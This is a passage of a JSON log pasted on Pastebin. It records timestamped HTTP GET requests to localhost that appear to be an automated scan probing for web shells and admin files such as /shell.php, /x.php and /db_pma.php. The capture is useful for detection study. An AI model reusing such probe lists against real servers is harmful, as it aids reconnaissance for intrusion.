  1340. "@timestamp": "2018-12-17T09:38:32.000Z",
  1341. "data": "GET /lala.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1342. },
  1343. {
  1344. "@timestamp": "2018-12-17T09:38:31.000Z",
  1345. "data": "GET /shell.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1346. },
  1347. {
  1348. "@timestamp": "2018-12-17T09:38:31.000Z",
  1349. "data": "GET /htdocs.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1350. },
  1351. {
  1352. "@timestamp": "2018-12-17T09:38:30.000Z",
  1353. "data": "GET /x.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1354. },
  1355. {
  1356. "@timestamp": "2018-12-17T09:38:30.000Z",
  1357. "data": "GET /pmd_online.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1358. },
  1359. {
  1360. "@timestamp": "2018-12-17T09:38:30.000Z",
  1361. "data": "GET /hell.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1362. },
  1363. {
  1364. "@timestamp": "2018-12-17T09:38:29.000Z",
  1365. "data": "GET /log.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1366. },
  1367. {
  1368. "@timestamp": "2018-12-17T09:38:28.000Z",
  1369. "data": "GET /logon.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1370. },
  1371. {
  1372. "@timestamp": "2018-12-17T09:38:28.000Z",
  1373. "data": "GET /help-e.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1374. },
  1375. {
  1376. "@timestamp": "2018-12-17T09:38:27.000Z",
  1377. "data": "GET /db_pma.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1378. },
  1379. {
  1380. "@timestamp": "2018-12-17T09:38:26.000Z",
  1381. "data": "GET /db_cts.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1382. },
  1383. {
  1384. "@timestamp": "2018-12-17T09:38:26.000Z",
  1385. "data": "GET /test.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1386. },
  1387. {
  1388. "@timestamp": "2018-12-17T09:38:25.000Z",
  1389. "data": "GET /_query.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1390. },
  1391. {
  1392. "@timestamp": "2018-12-17T09:38:24.000Z",
  1393. "data": "GET /help.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  1394. },
  1395. {
  1396. "@timestamp": "2018-12-17T09:38:24.000Z",
  1397. "data": "GET /webdav/ HTTP/1.1\r\nHost: 127.0.0.1:80\r\nUser-Agent: Mozilla/5.0\r\nConnection: Close\r\n\r\n"
  1398. }
  1399. ],
  1400. "inputs": {}
  1401. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!